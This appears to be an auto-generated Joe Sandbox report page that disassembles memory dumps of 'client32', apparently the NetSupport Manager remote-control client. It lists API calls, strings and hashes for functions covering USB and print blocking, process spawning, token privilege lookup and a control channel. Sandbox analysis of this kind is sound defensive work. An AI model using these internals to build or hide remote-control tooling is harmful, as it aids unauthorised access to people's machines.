Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalInitializeSection$CreateEvent__wcstoi64
String ID: *MaxRxPending$*TraceRecv$*TraceSend$General$_debug
API String ID: 4263422321-2298398812
Opcode ID: fc5d59641ec0c73026481ec4af9542cadd0aa2071b9524984f2908311d947b0f
Instruction ID: 22e00c787966b76eb8210ca7bbbd29da5d83387ddcc2761586be5f55706fd98d
Opcode Fuzzy Hash: fc5d59641ec0c73026481ec4af9542cadd0aa2071b9524984f2908311d947b0f
Instruction Fuzzy Hash: 3251A171A006859FDB11CF55CC84BDBBBE8FF84704F0484AAEE599F245D771A604CBA1

Function 1103D0D0 Relevance: 19.4, APIs: 2, Strings: 9, Instructions: 146COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 1103D116
_memmove.LIBCMT ref: 1103D123

Strings

RESUMEPRINTINGPRINTER=*FILETYPES=, xrefs: 1103D1B2
SETOPTICALDRIVEACCESSACCESSMODES=%u, xrefs: 1103D17F
SETUSBMASSSTORAGEACCESS, xrefs: 1103D133
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1103D1CF
SETUSBMASSSTORAGEACCESSACCESSMODES=%u, xrefs: 1103D156
SETOPTICALDRIVEACCESS, xrefs: 1103D164
BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1, xrefs: 1103D1AB
IsA(), xrefs: 1103D1D4
BLOCKPRINTING, xrefs: 1103D18D

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memmove
String ID: BLOCKPRINTING$BLOCKPRINTINGPRINTER=*FILETYPES=BLOCK=1$IsA()$RESUMEPRINTINGPRINTER=*FILETYPES=$SETOPTICALDRIVEACCESS$SETOPTICALDRIVEACCESSACCESSMODES=%u$SETUSBMASSSTORAGEACCESS$SETUSBMASSSTORAGEACCESSACCESSMODES=%u$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 1183979061-1830555902
Opcode ID: 1f65e24db0ee4bc6d2c59bc8d5d4299780c635b3bb03f5417b430c2a022d1bb4
Instruction ID: de23f8d0f39316dad5cb068c19bc5dab84371540c860885479258edd5296410e
Opcode Fuzzy Hash: 1f65e24db0ee4bc6d2c59bc8d5d4299780c635b3bb03f5417b430c2a022d1bb4
Instruction Fuzzy Hash: 4E41B37991021AAFCB01CF64CC90FEEB7F9EF55258F044669EC15A7241EA35E908CBA1

Function 1105D1A0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 130windowregistryCOMMON

Download Yara Rule

APIs

RegisterClassA.USER32(111E8674), ref: 1105D202

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

CreateWindowExA.USER32(00000000,NSMCobrProxy,11190240,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 1105D243
SetPropA.USER32(?,NSMCobrProxy,00000000), ref: 1105D2CD
GetMessageA.USER32(00000000,?,00000000,00000000), ref: 1105D2F0
TranslateMessage.USER32(?), ref: 1105D306
DispatchMessageA.USER32(?), ref: 1105D30C

Strings

m_hAppWin, xrefs: 1105D25A
CobrowseProxy::RunCobrowse, xrefs: 1105D1CA
CobrowseProxy.cpp, xrefs: 1105D214, 1105D255
NSMCobrProxy, xrefs: 1105D1F8, 1105D23C, 1105D2C7
_bOK, xrefs: 1105D219

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$ClassCreateDispatchErrorExitLastProcessPropRegisterTranslateWindowwsprintf
String ID: CobrowseProxy.cpp$CobrowseProxy::RunCobrowse$NSMCobrProxy$_bOK$m_hAppWin
API String ID: 13347155-1383313024
Opcode ID: c8c9d8e3809981bce3d5189ccfd8c955c46ed84778a3cd7c3ced5690ee5438cd
Instruction ID: a046bbadd0ead81cdf20d55ecf57fadbba2abd773838f5ba15bb6f4a1ea9b724
Opcode Fuzzy Hash: c8c9d8e3809981bce3d5189ccfd8c955c46ed84778a3cd7c3ced5690ee5438cd
Instruction Fuzzy Hash: 7441E4B5E0034AABD751DFA5DC84F9FFBE4AB48758F10852AF915A7280EB30E441CB61

Function 110290C0 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 97windowCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,00000000,?), ref: 110290DC

Part of subcall function 11140180: GetTickCount.KERNEL32 ref: 111401E8

wsprintfA.USER32 ref: 11029127
MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
ExitProcess.KERNEL32 ref: 11029179
_strrchr.LIBCMT ref: 110291B5
ExitProcess.KERNEL32 ref: 110291F4

Strings

V12.10F2, xrefs: 11029113
Client32, xrefs: 11029155
Assert. File %hs, line %d, err %d, Expr %s, xrefs: 110290F6
Assert failed, file %hs, line %d, error code %dBuild: %hsExpression: %s, xrefs: 11029121
Info. assert, restarting..., xrefs: 110291DD

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ExitProcess$CountErrorLastMessageTick_strrchrwsprintf
String ID: Assert failed, file %hs, line %d, error code %dBuild: %hsExpression: %s$Assert. File %hs, line %d, err %d, Expr %s$Client32$Info. assert, restarting...$V12.10F2
API String ID: 2763122592-903742727
Opcode ID: 8d814b777f5885ecc3161607af828dcd56ec3cb62fcb51e03cab17b11e5aa51b
Instruction ID: da4144d1c2ae4f16461deb381ff3f241ca730b44d9e4871f784c64456d5e012a
Opcode Fuzzy Hash: 8d814b777f5885ecc3161607af828dcd56ec3cb62fcb51e03cab17b11e5aa51b
Instruction Fuzzy Hash: 0431D579A01226AFE701DBE5CCC5FBAB7A8EB4470DF104029FA2597285E770A940CB61

Function 1100D560 Relevance: 19.3, APIs: 9, Strings: 2, Instructions: 80processCOMMON

Download Yara Rule

APIs

Part of subcall function 110EBB50: LocalAlloc.KERNEL32(00000040,00000014,?,1100D57F,?), ref: 110EBB60
Part of subcall function 110EBB50: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,1100D57F,?), ref: 110EBB72
Part of subcall function 110EBB50: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000,?,1100D57F,?), ref: 110EBB84

CreateEventA.KERNEL32(?,00000000,00000000,00000000), ref: 1100D597
GetModuleFileNameA.KERNEL32(00000000,?,00000104), ref: 1100D5B0
_strrchr.LIBCMT ref: 1100D5BF
GetCurrentProcessId.KERNEL32 ref: 1100D5CF
wsprintfA.USER32 ref: 1100D5F0
_memset.LIBCMT ref: 1100D601
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,04000000,00000000,00000000,?,?), ref: 1100D639
CloseHandle.KERNEL32(?,00000000), ref: 1100D651
CloseHandle.KERNEL32(?), ref: 1100D65A

Strings

%sNSSilence.exe %u %u, xrefs: 1100D5EA
D, xrefs: 1100D62F

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateDescriptorHandleProcessSecurity$AllocCurrentDaclEventFileInitializeLocalModuleName_memset_strrchrwsprintf
String ID: %sNSSilence.exe %u %u$D
API String ID: 1760462761-4146734959
Opcode ID: 0098b9ce497638dfccc624b3fd609ae25a38a440e16af2b016a9f0d3eb9343c3
Instruction ID: 616e847457d338a31cadd4fed46c2e2540dd51436b4ce9db86befcd147ef4e9b
Opcode Fuzzy Hash: 0098b9ce497638dfccc624b3fd609ae25a38a440e16af2b016a9f0d3eb9343c3
Instruction Fuzzy Hash: 1F218575E41329ABEB21DBA4CC89FDDB77C9B04704F108095F719A71C4DAB0AA44CF65

Function 110272B0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 89COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?,00000000), ref: 110272CF
OpenProcessToken.ADVAPI32(00000000), ref: 110272D6
GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,00000000,?,?,00000000), ref: 110272F8
_malloc.LIBCMT ref: 110272FE

Part of subcall function 1115F231: __FF_MSGBANNER.LIBCMT ref: 1115F24A
Part of subcall function 1115F231: __NMSG_WRITE.LIBCMT ref: 1115F251
Part of subcall function 1115F231: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,1110C53E,?,?,?,?,111413D2,?,?,?), ref: 1115F276

GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?), ref: 11027318
LookupPrivilegeNameA.ADVAPI32(00000000,00000004,?,?), ref: 11027339
_free.LIBCMT ref: 11027364
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,1102F3C1), ref: 11027376

Strings

Luid Low=%x, High=%x, Attr=%x, name=%s, xrefs: 1102734E
@, xrefs: 1102732E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Token$InformationProcess$AllocateCloseCurrentHandleHeapLookupNameOpenPrivilege_free_malloc
String ID: @$Luid Low=%x, High=%x, Attr=%x, name=%s
API String ID: 2190874299-3275751932
Opcode ID: 2d893da86cb0019d765d438d89b0a63dbbf97d3c189465153b73d7f4741c217c
Instruction ID: d71a20c49b99ff623b4ff6feb6941036d771f231a64fb04089fd6aa2c31912a9
Opcode Fuzzy Hash: 2d893da86cb0019d765d438d89b0a63dbbf97d3c189465153b73d7f4741c217c
Instruction Fuzzy Hash: D62162B5E0021AAFDB10DBE4CC85EAFFBBDEF44704F508119EA15A7240D774A906CBA1

Function 11045294 Relevance: 16.0, APIs: 7, Strings: 2, Instructions: 217COMMON

Download Yara Rule

APIs

SysFreeString.OLEAUT32(00000000), ref: 1104538D
GetTickCount.KERNEL32 ref: 110453D6
GetTickCount.KERNEL32 ref: 110453F6

Strings

IsMember(%ls, %ls) ret %d, took %u ms, xrefs: 11045416
RecIsMember(%ls, %ls) ret %d, took %u ms, xrefs: 11045474

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CountTick$FreeString
String ID: IsMember(%ls, %ls) ret %d, took %u ms$RecIsMember(%ls, %ls) ret %d, took %u ms
API String ID: 2011556836-2400621309
Opcode ID: c81b0593cc7a90e3de5be0458108297cf112a9dd11b98b092e1148766ed5b086
Instruction ID: 6db7db9691898adf7471725d6a84bd5aefd236bbccce4e1e027ec318b2147cee
Opcode Fuzzy Hash: c81b0593cc7a90e3de5be0458108297cf112a9dd11b98b092e1148766ed5b086
Instruction Fuzzy Hash: B6815271E0021A9FDB25DF54CC90BAEB3B5EF88315F1085E8E9099BA50EB75AE41CF50

Function 11059040 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 164synchronizationtimeCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000003E8,8F98CBB2,?,?), ref: 11059089
EnterCriticalSection.KERNEL32(?,?,?), ref: 110590EE
timeGetTime.WINMM(?,?), ref: 1105911C
GetTickCount.KERNEL32 ref: 11059156
LeaveCriticalSection.KERNEL32(?,?,?), ref: 110591CA
EnterCriticalSection.KERNEL32(?,?,?,?,?), ref: 110591E4
LeaveCriticalSection.KERNEL32(?,?,?), ref: 11059209

Strings

_License, xrefs: 11059187
maxslaves, xrefs: 11059182

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$CountObjectSingleTickTimeWaittime
String ID: _License$maxslaves
API String ID: 3724810986-253336860
Opcode ID: ece8b2e73aed2d56daa54d62c5f9014d7078439d77a2a62aaa8a3784d86f7224
Instruction ID: 44817ddc55cf2f921a7c167533af6c0c4e9fa33dbcb75115c21ceb655ef7b95b
Opcode Fuzzy Hash: ece8b2e73aed2d56daa54d62c5f9014d7078439d77a2a62aaa8a3784d86f7224
Instruction Fuzzy Hash: 05518C71E01626DBCB85DFA5C884A6EB7F9FB49704F00866DE925D7644E730E900CBA1

Function 110DB0B0 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 122COMMON

Download Yara Rule

APIs

OutputDebugStringA.KERNEL32(NsAppSystem Info : Unexpected data from NsStudentApp...), ref: 110DB15D
std::exception::exception.LIBCMT ref: 110DB198
__CxxThrowException@8.LIBCMT ref: 110DB1B3
OutputDebugStringA.KERNEL32(NsAppSystem Info : Control Channel Closed by 0 bytes RECV...), ref: 110DB221
OutputDebugStringA.KERNEL32(NsAppSystem Info : CONTROL CHANNEL Data Recv ********* THREAD TERMINATING *********), ref: 110DB255

Part of subcall function 110D5630: __CxxThrowException@8.LIBCMT ref: 110D569A
Part of subcall function 110D5630: #16.WSOCK32(?,?,?,00000000,00001000,8F98CBB2,?,00000000,00000001), ref: 110D56BC

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

Strings

NsAppSystem Info : Control Channel Closed by 0 bytes RECV..., xrefs: 110DB21C
NsAppSystem Info : Unexpected data from NsStudentApp..., xrefs: 110DB155
NsAppSystem Info : CONTROL CHANNEL Data Recv ********* THREAD TERMINATING *********, xrefs: 110DB250
NsAppSystem Info : Control Channel Waiting For Data..., xrefs: 110DB0E3

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DebugOutputString$Exception@8Throw$_malloc_memsetstd::exception::exceptionwsprintf
String ID: NsAppSystem Info : CONTROL CHANNEL Data Recv ********* THREAD TERMINATING *********$NsAppSystem Info : Control Channel Closed by 0 bytes RECV...$NsAppSystem Info : Control Channel Waiting For Data...$NsAppSystem Info : Unexpected data from NsStudentApp...
API String ID: 477284662-4139260718
Opcode ID: e83d6c46dbcee6e3a8ab3fb0ea9b8ce03acaa5b74714c32fc9906156425866b6
Instruction ID: fa6e30d2d6cecba1b8951b501454647513c648ddac625e249921072e7537f7ac
Opcode Fuzzy Hash: e83d6c46dbcee6e3a8ab3fb0ea9b8ce03acaa5b74714c32fc9906156425866b6
Instruction Fuzzy Hash: DB414B79E00359DFCB05CFA8C880AAEFBB4FF49708F508159E415AB241DB35A904CBA1

Function 11125160 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 156COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 11125180

Part of subcall function 1115CAC3: std::exception::exception.LIBCMT ref: 1115CAD8
Part of subcall function 1115CAC3: __CxxThrowException@8.LIBCMT ref: 1115CAED
Part of subcall function 1115CAC3: std::exception::exception.LIBCMT ref: 1115CAFE

_memmove.LIBCMT ref: 1112520A
_memmove.LIBCMT ref: 1112522E
_memmove.LIBCMT ref: 11125268
_memmove.LIBCMT ref: 11125284
std::exception::exception.LIBCMT ref: 111252CE
__CxxThrowException@8.LIBCMT ref: 111252E3

Strings

deque<T> too long, xrefs: 1112517B

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
